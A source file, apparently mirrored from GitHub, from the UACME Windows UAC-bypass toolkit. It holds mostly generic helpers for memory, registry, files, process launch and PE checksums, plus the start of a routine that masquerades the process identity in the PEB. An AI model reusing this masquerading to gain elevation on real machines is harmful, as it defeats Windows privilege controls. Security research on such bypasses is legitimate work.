mirror of
https://github.com/hfiref0x/UACME
synced 2026-06-08 14:39:53 +00:00
cbf4b91f17
Update process masquerading for COM elevation; Update tests and Yuubari configuration.
4961 lines
107 KiB
C
4961 lines
107 KiB
C
/*******************************************************************************
|
||
*
|
||
* (C) COPYRIGHT AUTHORS, 2015 - 2026
|
||
*
|
||
* TITLE: SUP.C
|
||
*
|
||
* VERSION: 3.70
|
||
*
|
||
* DATE: 19 May 2026
|
||
*
|
||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||
* PARTICULAR PURPOSE.
|
||
*
|
||
*******************************************************************************/
|
||
#include "global.h"
|
||
#include "uas.h"
|
||
|
||
ptrWTGetSignatureInfo WTGetSignatureInfo = NULL;
|
||
|
||
typedef struct _LDR_MASQUERADE_ENTRY {
|
||
PWSTR OrigImagePathName;
|
||
PWSTR OrigCommandLine;
|
||
PWSTR OrigFullDllName;
|
||
PWSTR OrigBaseDllName;
|
||
|
||
WCHAR FakedFullPath[MAX_PATH * 2];
|
||
USHORT NameOffset;
|
||
BOOL Restore;
|
||
} LDR_MASQUERADE_ENTRY, * PLDR_MASQUERADE_ENTRY;
|
||
|
||
static LDR_MASQUERADE_ENTRY g_LdrMasqueradeEntry;
|
||
|
||
//
|
||
// Signatures array.
|
||
//
|
||
USER_ASSOC_SIGNATURE* g_UserAssocSignatures[] = {
|
||
&UAS_SIG_7601,
|
||
&UAS_SIG_9600,
|
||
&UAS_SIG_14393,
|
||
&UAS_SIG_17763,
|
||
&UAS_SIG_18362,
|
||
&UAS_SIG_18363,
|
||
&UAS_SIG_19041,
|
||
&UAS_SIG_19042_19043,
|
||
&UAS_SIG_22000,
|
||
&UAS_SIG_22621,
|
||
&UAS_SIG_26100
|
||
};
|
||
|
||
#if defined(__cplusplus)
|
||
extern "C" {
|
||
#endif
|
||
|
||
_Must_inspect_result_
|
||
_Ret_maybenull_ _Post_writable_byte_size_(size)
|
||
void* __RPC_USER MIDL_user_allocate(_In_ size_t size)
|
||
{
|
||
return((void __RPC_FAR*) supHeapAlloc(size));
|
||
}
|
||
|
||
#pragma warning(push)
|
||
#pragma warning(disable: 6387)
|
||
#pragma warning(disable: 6001)
|
||
void __RPC_USER MIDL_user_free(_Pre_maybenull_ _Post_invalid_ void* p)
|
||
{
|
||
supHeapFree(p);
|
||
}
|
||
#pragma warning(pop)
|
||
|
||
#if defined(__cplusplus)
|
||
}
|
||
#endif
|
||
|
||
/*
|
||
* supEncodePointer
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Encodes the specified pointer.
|
||
*
|
||
*/
|
||
PVOID supEncodePointer(
|
||
_In_ PVOID Pointer)
|
||
{
|
||
NTSTATUS Status;
|
||
ULONG Cookie, retLength;
|
||
|
||
if ((g_ctx == NULL) || (g_ctx->Cookie == 0)) {
|
||
|
||
Status = NtQueryInformationProcess(
|
||
NtCurrentProcess(),
|
||
ProcessCookie,
|
||
&Cookie,
|
||
sizeof(ULONG),
|
||
&retLength);
|
||
|
||
if (!NT_SUCCESS(Status))
|
||
RtlRaiseStatus(Status);
|
||
|
||
if (g_ctx)
|
||
g_ctx->Cookie = Cookie;
|
||
|
||
}
|
||
else {
|
||
Cookie = g_ctx->Cookie;
|
||
}
|
||
|
||
#ifdef _WIN64
|
||
return (PVOID)(RotateRight64(
|
||
(ULONG_PTR)Pointer ^ Cookie,
|
||
Cookie & 0x3f));
|
||
#else
|
||
return (PVOID)(RotateRight32(
|
||
(ULONG_PTR)Pointer ^ Cookie,
|
||
Cookie & 0x1f));
|
||
#endif
|
||
}
|
||
|
||
/*
|
||
* supDecodePointer
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Decodes the specified pointer.
|
||
*
|
||
*/
|
||
PVOID supDecodePointer(
|
||
_In_ PVOID Pointer)
|
||
{
|
||
NTSTATUS Status;
|
||
ULONG Cookie, retLength;
|
||
|
||
if ((g_ctx == NULL) || (g_ctx->Cookie == 0)) {
|
||
|
||
Status = NtQueryInformationProcess(
|
||
NtCurrentProcess(),
|
||
ProcessCookie,
|
||
&Cookie,
|
||
sizeof(ULONG),
|
||
&retLength);
|
||
|
||
if (!NT_SUCCESS(Status))
|
||
RtlRaiseStatus(Status);
|
||
|
||
if (g_ctx)
|
||
g_ctx->Cookie = Cookie;
|
||
|
||
}
|
||
else {
|
||
Cookie = g_ctx->Cookie;
|
||
}
|
||
|
||
#ifdef _WIN64
|
||
return (PVOID)(RotateRight64(
|
||
(ULONG_PTR)Pointer,
|
||
0x40 - (Cookie & 0x3f)) ^ Cookie);
|
||
#else
|
||
return (PVOID)(RotateRight32(
|
||
(ULONG_PTR)Pointer,
|
||
0x20 - (Cookie & 0x1f)) ^ Cookie);
|
||
#endif
|
||
}
|
||
|
||
/*
|
||
* supVirtualAlloc
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Wrapper for NtAllocateVirtualMemory.
|
||
*
|
||
*/
|
||
PVOID supVirtualAlloc(
|
||
_Inout_ PSIZE_T Size,
|
||
_In_ ULONG AllocationType,
|
||
_In_ ULONG Protect,
|
||
_Out_opt_ NTSTATUS* Status)
|
||
{
|
||
NTSTATUS status;
|
||
PVOID Buffer = NULL;
|
||
SIZE_T size;
|
||
|
||
size = *Size;
|
||
|
||
status = NtAllocateVirtualMemory(
|
||
NtCurrentProcess(),
|
||
&Buffer,
|
||
0,
|
||
&size,
|
||
AllocationType,
|
||
Protect);
|
||
|
||
if (NT_SUCCESS(status)) {
|
||
RtlSecureZeroMemory(Buffer, size);
|
||
}
|
||
|
||
*Size = size;
|
||
if (Status) *Status = status;
|
||
|
||
return Buffer;
|
||
}
|
||
|
||
/*
|
||
* supVirtualFree
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Wrapper for NtFreeVirtualMemory.
|
||
*
|
||
*/
|
||
BOOL supVirtualFree(
|
||
_In_ PVOID Memory,
|
||
_Out_opt_ NTSTATUS* Status)
|
||
{
|
||
NTSTATUS status = STATUS_UNSUCCESSFUL;
|
||
SIZE_T size = 0;
|
||
|
||
status = NtFreeVirtualMemory(
|
||
NtCurrentProcess(),
|
||
&Memory,
|
||
&size,
|
||
MEM_RELEASE);
|
||
|
||
if (Status) *Status = status;
|
||
|
||
return NT_SUCCESS(status);
|
||
}
|
||
|
||
/*
|
||
* supSecureVirtualFree
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Wrapper for NtFreeVirtualMemory.
|
||
*
|
||
*/
|
||
BOOL supSecureVirtualFree(
|
||
_In_ PVOID Memory,
|
||
_In_ SIZE_T MemorySize,
|
||
_Out_opt_ NTSTATUS* Status)
|
||
{
|
||
RtlSecureZeroMemory(Memory, MemorySize);
|
||
return supVirtualFree(Memory, Status);
|
||
}
|
||
|
||
/*
|
||
* supHeapAlloc
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Wrapper for RtlAllocateHeap with ucmHeap.
|
||
*
|
||
*/
|
||
PVOID FORCEINLINE supHeapAlloc(
|
||
_In_ SIZE_T Size)
|
||
{
|
||
return RtlAllocateHeap(g_ctx->ucmHeap, HEAP_ZERO_MEMORY, Size);
|
||
}
|
||
|
||
/*
|
||
* supHeapFree
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Wrapper for RtlFreeHeap with ucmHeap.
|
||
*
|
||
*/
|
||
BOOL FORCEINLINE supHeapFree(
|
||
_In_ PVOID Memory)
|
||
{
|
||
return RtlFreeHeap(g_ctx->ucmHeap, 0, Memory);
|
||
}
|
||
|
||
/*
|
||
* supIsProcess32bit
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Return TRUE if given process is under WOW64, FALSE otherwise.
|
||
*
|
||
*/
|
||
BOOLEAN supIsProcess32bit(
|
||
_In_ HANDLE hProcess
|
||
)
|
||
{
|
||
NTSTATUS status;
|
||
PROCESS_EXTENDED_BASIC_INFORMATION pebi;
|
||
|
||
if (hProcess == NULL) {
|
||
return FALSE;
|
||
}
|
||
|
||
//query if this is wow64 process
|
||
RtlSecureZeroMemory(&pebi, sizeof(pebi));
|
||
pebi.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION);
|
||
status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pebi, sizeof(pebi), NULL);
|
||
if (NT_SUCCESS(status)) {
|
||
return (pebi.IsWow64Process == 1);
|
||
}
|
||
return FALSE;
|
||
}
|
||
|
||
/*
|
||
* supGetElevationType
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Returns client elevation type.
|
||
*
|
||
*/
|
||
BOOL supGetElevationType(
|
||
_Out_ TOKEN_ELEVATION_TYPE* lpType
|
||
)
|
||
{
|
||
HANDLE hToken = NULL;
|
||
NTSTATUS status;
|
||
ULONG bytesRead = 0;
|
||
TOKEN_ELEVATION_TYPE TokenType = TokenElevationTypeDefault;
|
||
|
||
status = NtOpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
|
||
if (NT_SUCCESS(status)) {
|
||
|
||
status = NtQueryInformationToken(hToken, TokenElevationType, &TokenType,
|
||
sizeof(TOKEN_ELEVATION_TYPE), &bytesRead);
|
||
|
||
NtClose(hToken);
|
||
}
|
||
|
||
supSetLastErrorFromNtStatus(status);
|
||
|
||
if (lpType)
|
||
*lpType = TokenType;
|
||
|
||
return (NT_SUCCESS(status));
|
||
}
|
||
|
||
/*
|
||
* supWriteBufferToFile
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Create new file and write buffer to it.
|
||
*
|
||
*/
|
||
BOOL supWriteBufferToFile(
|
||
_In_ LPCWSTR lpFileName,
|
||
_In_opt_ PVOID Buffer,
|
||
_In_ DWORD BufferSize
|
||
)
|
||
{
|
||
HANDLE hFile;
|
||
DWORD bytesIO = 0;
|
||
|
||
if ((Buffer == NULL) || (BufferSize == 0))
|
||
return FALSE;
|
||
|
||
hFile = CreateFile(lpFileName,
|
||
GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
||
|
||
if (hFile != INVALID_HANDLE_VALUE) {
|
||
WriteFile(hFile, Buffer, BufferSize, &bytesIO, NULL);
|
||
CloseHandle(hFile);
|
||
}
|
||
else {
|
||
#ifdef _DEBUG
|
||
supDebugPrint(TEXT("CreateFile"), GetLastError());
|
||
#endif
|
||
return FALSE;
|
||
}
|
||
|
||
return (bytesIO == BufferSize);
|
||
}
|
||
|
||
/*
|
||
* supDebugPrint
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Write formatted debug output.
|
||
*
|
||
*/
|
||
VOID supDebugPrint(
|
||
_In_ LPCWSTR ApiName,
|
||
_In_ DWORD status
|
||
)
|
||
{
|
||
HANDLE Heap;
|
||
LPWSTR lpBuffer;
|
||
SIZE_T sz;
|
||
|
||
sz = MAX_PATH;
|
||
if (ApiName)
|
||
sz += _strlen(ApiName);
|
||
|
||
if (g_ctx == NULL) {
|
||
Heap = NtCurrentPeb()->ProcessHeap;
|
||
}
|
||
else {
|
||
Heap = g_ctx->ucmHeap;
|
||
}
|
||
|
||
lpBuffer = (LPWSTR)RtlAllocateHeap(Heap, HEAP_ZERO_MEMORY, sz * sizeof(WCHAR));
|
||
if (lpBuffer) {
|
||
_strcpy(lpBuffer, TEXT("[UCM] "));
|
||
if (ApiName) {
|
||
_strcat(lpBuffer, ApiName);
|
||
}
|
||
_strcat(lpBuffer, TEXT(" code = 0x"));
|
||
ultohex(status, _strend(lpBuffer));
|
||
_strcat(lpBuffer, TEXT("\n"));
|
||
OutputDebugString(lpBuffer);
|
||
RtlFreeHeap(Heap, 0, lpBuffer);
|
||
}
|
||
|
||
}
|
||
|
||
/*
|
||
* supRegWriteValue
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Write value to the registry.
|
||
*
|
||
*/
|
||
NTSTATUS supRegWriteValue(
|
||
_In_ HANDLE hKey,
|
||
_In_opt_ LPWSTR ValueName,
|
||
_In_ DWORD ValueType,
|
||
_In_ PVOID ValueData,
|
||
_In_ ULONG ValueDataSize
|
||
)
|
||
{
|
||
UNICODE_STRING usValue;
|
||
|
||
if (ValueName) {
|
||
|
||
RtlInitUnicodeString(&usValue, ValueName);
|
||
|
||
}
|
||
else {
|
||
|
||
RtlInitEmptyUnicodeString(&usValue, NULL, 0);
|
||
|
||
}
|
||
|
||
return NtSetValueKey(hKey,
|
||
&usValue,
|
||
0,
|
||
ValueType,
|
||
ValueData,
|
||
ValueDataSize);
|
||
}
|
||
|
||
/*
|
||
* supRegCurrentUserDeleteSubKeyValue
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Remove value of the given subkey.
|
||
*
|
||
*/
|
||
NTSTATUS supRegCurrentUserDeleteSubKeyValue(
|
||
_In_ LPWSTR SubKey,
|
||
_In_ LPWSTR ValueName)
|
||
{
|
||
NTSTATUS ntStatus;
|
||
HANDLE hRootKey = NULL, hSubKey = NULL;
|
||
OBJECT_ATTRIBUTES obja;
|
||
UNICODE_STRING usSubKey, usValueName, usRootKey;
|
||
|
||
ntStatus = RtlFormatCurrentUserKeyPath(&usRootKey);
|
||
if (NT_SUCCESS(ntStatus)) {
|
||
|
||
InitializeObjectAttributes(&obja, &usRootKey, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||
ntStatus = NtOpenKey(&hRootKey, MAXIMUM_ALLOWED, &obja);
|
||
if (NT_SUCCESS(ntStatus)) {
|
||
|
||
RtlInitUnicodeString(&usSubKey, SubKey);
|
||
|
||
obja.RootDirectory = hRootKey;
|
||
obja.ObjectName = &usSubKey;
|
||
ntStatus = NtOpenKey(&hSubKey, MAXIMUM_ALLOWED, &obja);
|
||
if (NT_SUCCESS(ntStatus)) {
|
||
RtlInitUnicodeString(&usValueName, ValueName);
|
||
ntStatus = NtDeleteValueKey(hSubKey, &usValueName);
|
||
NtClose(hSubKey);
|
||
}
|
||
|
||
NtClose(hRootKey);
|
||
}
|
||
|
||
RtlFreeUnicodeString(&usRootKey);
|
||
}
|
||
return ntStatus;
|
||
}
|
||
|
||
/*
|
||
* supRegReadValue
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Read given value to output buffer.
|
||
* Returned Buffer must be released with RtlFreeHeap after use.
|
||
*
|
||
*/
|
||
NTSTATUS supRegReadValue(
|
||
_In_ HANDLE hKey,
|
||
_In_ LPWSTR ValueName,
|
||
_In_ DWORD ValueType,
|
||
_Out_ PVOID* Buffer,
|
||
_Out_ ULONG* BufferSize,
|
||
_In_opt_ HANDLE hHeap
|
||
)
|
||
{
|
||
KEY_VALUE_PARTIAL_INFORMATION* kvpi;
|
||
UNICODE_STRING usName;
|
||
NTSTATUS Status = STATUS_UNSUCCESSFUL;
|
||
ULONG Length = 0;
|
||
PVOID CopyBuffer = NULL;
|
||
HANDLE Heap;
|
||
|
||
*Buffer = NULL;
|
||
*BufferSize = 0;
|
||
|
||
if (hHeap == NULL)
|
||
Heap = NtCurrentPeb()->ProcessHeap;
|
||
else
|
||
Heap = hHeap;
|
||
|
||
RtlInitUnicodeString(&usName, ValueName);
|
||
Status = NtQueryValueKey(hKey, &usName, KeyValuePartialInformation, NULL, 0, &Length);
|
||
if (Status == STATUS_BUFFER_TOO_SMALL) {
|
||
|
||
kvpi = (KEY_VALUE_PARTIAL_INFORMATION*)RtlAllocateHeap(Heap, HEAP_ZERO_MEMORY, Length);
|
||
if (kvpi) {
|
||
|
||
Status = NtQueryValueKey(hKey, &usName, KeyValuePartialInformation, kvpi, Length, &Length);
|
||
if (NT_SUCCESS(Status)) {
|
||
|
||
if (kvpi->Type == ValueType) {
|
||
|
||
CopyBuffer = RtlAllocateHeap(Heap, HEAP_ZERO_MEMORY, kvpi->DataLength);
|
||
if (CopyBuffer) {
|
||
RtlCopyMemory(CopyBuffer, kvpi->Data, kvpi->DataLength);
|
||
*Buffer = CopyBuffer;
|
||
*BufferSize = kvpi->DataLength;
|
||
Status = STATUS_SUCCESS;
|
||
}
|
||
else {
|
||
Status = STATUS_NO_MEMORY;
|
||
}
|
||
}
|
||
else {
|
||
Status = STATUS_OBJECT_TYPE_MISMATCH;
|
||
}
|
||
}
|
||
RtlFreeHeap(Heap, 0, kvpi);
|
||
}
|
||
else {
|
||
Status = STATUS_NO_MEMORY;
|
||
}
|
||
}
|
||
|
||
return Status;
|
||
}
|
||
|
||
/*
|
||
* supReadFileToBuffer
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Read file to buffer. Release memory when it no longer needed.
|
||
*
|
||
*/
|
||
PBYTE supReadFileToBuffer(
|
||
_In_ LPCWSTR lpFileName,
|
||
_Inout_opt_ LPDWORD lpBufferSize
|
||
)
|
||
{
|
||
NTSTATUS status;
|
||
HANDLE hFile = NULL;
|
||
PBYTE Buffer = NULL;
|
||
SIZE_T sz = 0;
|
||
|
||
UNICODE_STRING usName;
|
||
OBJECT_ATTRIBUTES attr;
|
||
IO_STATUS_BLOCK iost;
|
||
FILE_STANDARD_INFORMATION fi;
|
||
|
||
do {
|
||
|
||
if (lpFileName == NULL)
|
||
return NULL;
|
||
|
||
if (!RtlDosPathNameToNtPathName_U(lpFileName, &usName, NULL, NULL))
|
||
break;
|
||
|
||
InitializeObjectAttributes(&attr, &usName, OBJ_CASE_INSENSITIVE, 0, NULL);
|
||
|
||
status = NtCreateFile(
|
||
&hFile,
|
||
FILE_READ_DATA | SYNCHRONIZE,
|
||
&attr,
|
||
&iost,
|
||
NULL,
|
||
FILE_ATTRIBUTE_NORMAL,
|
||
FILE_SHARE_READ,
|
||
FILE_OPEN,
|
||
FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
|
||
NULL,
|
||
0);
|
||
|
||
RtlFreeUnicodeString(&usName);
|
||
|
||
if (!NT_SUCCESS(status)) {
|
||
break;
|
||
}
|
||
|
||
RtlSecureZeroMemory(&fi, sizeof(fi));
|
||
|
||
status = NtQueryInformationFile(
|
||
hFile,
|
||
&iost,
|
||
&fi,
|
||
sizeof(FILE_STANDARD_INFORMATION),
|
||
FileStandardInformation);
|
||
|
||
if (!NT_SUCCESS(status))
|
||
break;
|
||
|
||
sz = (SIZE_T)fi.EndOfFile.LowPart;
|
||
|
||
Buffer = (PBYTE)supVirtualAlloc(
|
||
&sz,
|
||
DEFAULT_ALLOCATION_TYPE,
|
||
DEFAULT_PROTECT_TYPE,
|
||
&status);
|
||
|
||
if (NT_SUCCESS(status)) {
|
||
|
||
status = NtReadFile(
|
||
hFile,
|
||
NULL,
|
||
NULL,
|
||
NULL,
|
||
&iost,
|
||
Buffer,
|
||
fi.EndOfFile.LowPart,
|
||
NULL,
|
||
NULL);
|
||
|
||
if (NT_SUCCESS(status)) {
|
||
if (lpBufferSize)
|
||
*lpBufferSize = fi.EndOfFile.LowPart;
|
||
}
|
||
else {
|
||
supVirtualFree(Buffer, NULL);
|
||
Buffer = NULL;
|
||
}
|
||
}
|
||
|
||
} while (FALSE);
|
||
|
||
if (hFile != NULL) {
|
||
NtClose(hFile);
|
||
}
|
||
|
||
return Buffer;
|
||
}
|
||
|
||
/*
|
||
* supRunProcess3
|
||
*
|
||
* Purpose:
|
||
*
|
||
* ShellExecuteEx given process with given parameters and return handle to it.
|
||
*
|
||
*/
|
||
HANDLE supRunProcess3(
|
||
_In_ LPCWSTR lpFile,
|
||
_In_opt_ LPCWSTR lpParameters,
|
||
_In_opt_ LPCWSTR lpVerb,
|
||
_In_ INT nShow
|
||
)
|
||
{
|
||
SHELLEXECUTEINFO shinfo;
|
||
|
||
RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
|
||
shinfo.cbSize = sizeof(shinfo);
|
||
shinfo.fMask = SEE_MASK_FLAG_NO_UI | SEE_MASK_NOCLOSEPROCESS;
|
||
shinfo.lpFile = lpFile;
|
||
shinfo.lpParameters = lpParameters;
|
||
shinfo.nShow = nShow;
|
||
shinfo.lpVerb = lpVerb;
|
||
if (ShellExecuteEx(&shinfo))
|
||
return shinfo.hProcess;
|
||
|
||
return NULL;
|
||
}
|
||
|
||
/*
|
||
* supRunProcess2
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Execute given process with given parameters and wait if specified.
|
||
*
|
||
*/
|
||
BOOL supRunProcess2(
|
||
_In_ LPCWSTR lpFile,
|
||
_In_opt_ LPCWSTR lpParameters,
|
||
_In_opt_ LPCWSTR lpVerb,
|
||
_In_ INT nShow,
|
||
_In_ ULONG mTimeOut
|
||
)
|
||
{
|
||
BOOL bResult = FALSE;
|
||
HANDLE hProcess = supRunProcess3(lpFile,
|
||
lpParameters,
|
||
lpVerb,
|
||
nShow);
|
||
|
||
if (hProcess) {
|
||
if (mTimeOut != 0) {
|
||
if (WaitForSingleObject(hProcess, mTimeOut) == WAIT_TIMEOUT)
|
||
TerminateProcess(hProcess, WAIT_TIMEOUT);
|
||
}
|
||
CloseHandle(hProcess);
|
||
bResult = TRUE;
|
||
}
|
||
return bResult;
|
||
}
|
||
|
||
/*
|
||
* supRunProcess
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Execute given process with given parameters.
|
||
*
|
||
*/
|
||
BOOL supRunProcess(
|
||
_In_ LPCWSTR lpFile,
|
||
_In_opt_ LPCWSTR lpParameters
|
||
)
|
||
{
|
||
return supRunProcess2(lpFile,
|
||
lpParameters,
|
||
NULL,
|
||
SW_SHOW,
|
||
SUPRUNPROCESS_TIMEOUT_DEFAULT);
|
||
}
|
||
|
||
/*
|
||
* supCopyMemory
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Copies bytes between buffers.
|
||
*
|
||
* dest - Destination buffer
|
||
* cbdest - Destination buffer size in bytes
|
||
* src - Source buffer
|
||
* cbsrc - Source buffer size in bytes
|
||
*
|
||
*/
|
||
void supCopyMemory(
|
||
_Inout_ void* dest,
|
||
_In_ size_t cbdest,
|
||
_In_ const void* src,
|
||
_In_ size_t cbsrc
|
||
)
|
||
{
|
||
char* d = (char*)dest;
|
||
char* s = (char*)src;
|
||
|
||
if ((dest == 0) || (src == 0) || (cbdest == 0))
|
||
return;
|
||
if (cbdest < cbsrc)
|
||
cbsrc = cbdest;
|
||
|
||
while (cbsrc > 0) {
|
||
*d++ = *s++;
|
||
cbsrc--;
|
||
}
|
||
}
|
||
|
||
/*
|
||
* supQueryEnvironmentVariableOffset
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Return offset to the given environment variable.
|
||
*
|
||
*/
|
||
LPWSTR supQueryEnvironmentVariableOffset(
|
||
_In_ PUNICODE_STRING Value
|
||
)
|
||
{
|
||
UNICODE_STRING str1;
|
||
PWCHAR EnvironmentBlock, ptr;
|
||
|
||
EnvironmentBlock = (PWCHAR)RtlGetCurrentPeb()->ProcessParameters->Environment;
|
||
ptr = EnvironmentBlock;
|
||
|
||
do {
|
||
if (*ptr == 0)
|
||
return 0;
|
||
|
||
RtlInitUnicodeString(&str1, ptr);
|
||
if (RtlPrefixUnicodeString(Value, &str1, TRUE))
|
||
break;
|
||
|
||
ptr += _strlen(ptr) + 1;
|
||
|
||
} while (1);
|
||
|
||
return (ptr + Value->Length / sizeof(WCHAR));
|
||
}
|
||
|
||
/*
|
||
* supChkSum
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Calculate partial checksum for given buffer.
|
||
*
|
||
*/
|
||
USHORT supChkSum(
|
||
ULONG PartialSum,
|
||
PUSHORT Source,
|
||
ULONG Length
|
||
)
|
||
{
|
||
while (Length--) {
|
||
PartialSum += *Source++;
|
||
PartialSum = (PartialSum >> 16) + (PartialSum & 0xffff);
|
||
}
|
||
return (USHORT)(((PartialSum >> 16) + PartialSum) & 0xffff);
|
||
}
|
||
|
||
/*
|
||
* supCalculateCheckSumForMappedFile
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Calculate PE file checksum.
|
||
*
|
||
*/
|
||
DWORD supCalculateCheckSumForMappedFile(
|
||
_In_ PVOID BaseAddress,
|
||
_In_ ULONG FileLength
|
||
)
|
||
{
|
||
PUSHORT AdjustSum;
|
||
PIMAGE_NT_HEADERS NtHeaders;
|
||
USHORT PartialSum;
|
||
ULONG CheckSum;
|
||
|
||
PartialSum = supChkSum(0, (PUSHORT)BaseAddress, (FileLength + 1) >> 1);
|
||
|
||
NtHeaders = RtlImageNtHeader(BaseAddress);
|
||
if (NtHeaders != NULL) {
|
||
AdjustSum = (PUSHORT)(&NtHeaders->OptionalHeader.CheckSum);
|
||
PartialSum -= (PartialSum < AdjustSum[0]);
|
||
PartialSum -= AdjustSum[0];
|
||
PartialSum -= (PartialSum < AdjustSum[1]);
|
||
PartialSum -= AdjustSum[1];
|
||
}
|
||
else
|
||
{
|
||
PartialSum = 0;
|
||
}
|
||
CheckSum = (ULONG)PartialSum + FileLength;
|
||
return CheckSum;
|
||
}
|
||
|
||
/*
|
||
* supVerifyMappedImageMatchesChecksum
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Calculate PE file checksum and compare it with checksum in PE header.
|
||
*
|
||
*/
|
||
BOOLEAN supVerifyMappedImageMatchesChecksum(
|
||
_In_ PVOID BaseAddress,
|
||
_In_ ULONG FileLength
|
||
)
|
||
{
|
||
PIMAGE_NT_HEADERS NtHeaders;
|
||
ULONG HeaderSum;
|
||
ULONG CheckSum;
|
||
|
||
CheckSum = supCalculateCheckSumForMappedFile(BaseAddress, FileLength);
|
||
|
||
NtHeaders = RtlImageNtHeader(BaseAddress);
|
||
if (NtHeaders) {
|
||
HeaderSum = NtHeaders->OptionalHeader.CheckSum;
|
||
}
|
||
else {
|
||
HeaderSum = FileLength;
|
||
}
|
||
return (CheckSum == HeaderSum);
|
||
}
|
||
|
||
/*
|
||
* supSetCheckSumForMappedFile
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Set checksum value to PE header.
|
||
*
|
||
*/
|
||
BOOLEAN supSetCheckSumForMappedFile(
|
||
_In_ PVOID BaseAddress,
|
||
_In_ ULONG CheckSum
|
||
)
|
||
{
|
||
PIMAGE_NT_HEADERS NtHeaders;
|
||
|
||
NtHeaders = RtlImageNtHeader(BaseAddress);
|
||
if (NtHeaders) {
|
||
NtHeaders->OptionalHeader.CheckSum = CheckSum;
|
||
return TRUE;
|
||
}
|
||
return FALSE;
|
||
}
|
||
|
||
/*
|
||
* supLdrQueryResourceDataEx
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Load resource by given id (win32 FindResource, SizeofResource, LockResource).
|
||
*
|
||
*/
|
||
NTSTATUS supLdrQueryResourceDataEx(
|
||
_In_ ULONG_PTR ResourceId,
|
||
_In_ PVOID DllHandle,
|
||
_Out_ PULONG DataSize,
|
||
_Out_ PVOID* Data
|
||
)
|
||
{
|
||
NTSTATUS status;
|
||
ULONG_PTR IdPath[3];
|
||
IMAGE_RESOURCE_DATA_ENTRY* DataEntry;
|
||
ULONG SizeOfData = 0;
|
||
|
||
if (DataSize)
|
||
*DataSize = 0;
|
||
|
||
if (DllHandle == NULL) {
|
||
return STATUS_INVALID_PARAMETER_2;
|
||
}
|
||
|
||
IdPath[0] = (ULONG_PTR)RT_RCDATA; //type
|
||
IdPath[1] = ResourceId; //id
|
||
IdPath[2] = 0; //lang
|
||
|
||
status = LdrFindResource_U(DllHandle, (ULONG_PTR*)&IdPath, 3, &DataEntry);
|
||
if (NT_SUCCESS(status)) {
|
||
status = LdrAccessResource(DllHandle, DataEntry, Data, &SizeOfData);
|
||
if (NT_SUCCESS(status)) {
|
||
if (DataSize) {
|
||
*DataSize = SizeOfData;
|
||
}
|
||
}
|
||
}
|
||
|
||
return status;
|
||
}
|
||
|
||
/*
|
||
* supLdrQueryResourceData
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Load resource by given id (win32 FindResource, SizeofResource, LockResource).
|
||
*
|
||
*/
|
||
PBYTE supLdrQueryResourceData(
|
||
_In_ ULONG_PTR ResourceId,
|
||
_In_ PVOID DllHandle,
|
||
_Out_ PULONG DataSize
|
||
)
|
||
{
|
||
NTSTATUS status;
|
||
PBYTE Data = NULL;
|
||
|
||
status = supLdrQueryResourceDataEx(ResourceId,
|
||
DllHandle,
|
||
DataSize,
|
||
&Data);
|
||
|
||
if (NT_SUCCESS(status))
|
||
return Data;
|
||
|
||
return NULL;
|
||
}
|
||
|
||
/*
|
||
* supSetLastErrorFromNtStatus
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Convert last error.
|
||
*
|
||
*/
|
||
VOID supSetLastErrorFromNtStatus(
|
||
_In_ NTSTATUS LastNtStatus
|
||
)
|
||
{
|
||
DWORD dwErrorCode;
|
||
#ifdef _WIN64
|
||
dwErrorCode = RtlNtStatusToDosErrorNoTeb(LastNtStatus);
|
||
#else
|
||
dwErrorCode = RtlNtStatusToDosError(LastNtStatus);
|
||
#endif
|
||
SetLastError(dwErrorCode);
|
||
}
|
||
|
||
/*
|
||
* supxLdrEnumModulesCallback
|
||
*
|
||
* Purpose:
|
||
*
|
||
* LdrEnumerateLoadedModules callback.
|
||
*
|
||
*/
|
||
VOID NTAPI supxLdrEnumModulesCallback(
|
||
_In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry,
|
||
_In_ PVOID Context,
|
||
_Inout_ BOOLEAN* StopEnumeration
|
||
)
|
||
{
|
||
PPEB Peb = NtCurrentPeb();
|
||
PLDR_MASQUERADE_ENTRY Entry = (PLDR_MASQUERADE_ENTRY)Context;
|
||
PWSTR FullDllName, BaseDllName;
|
||
|
||
if (DataTableEntry->DllBase == Peb->ImageBaseAddress) {
|
||
|
||
if (Entry->Restore) {
|
||
FullDllName = Entry->OrigFullDllName;
|
||
BaseDllName = Entry->OrigBaseDllName;
|
||
}
|
||
else {
|
||
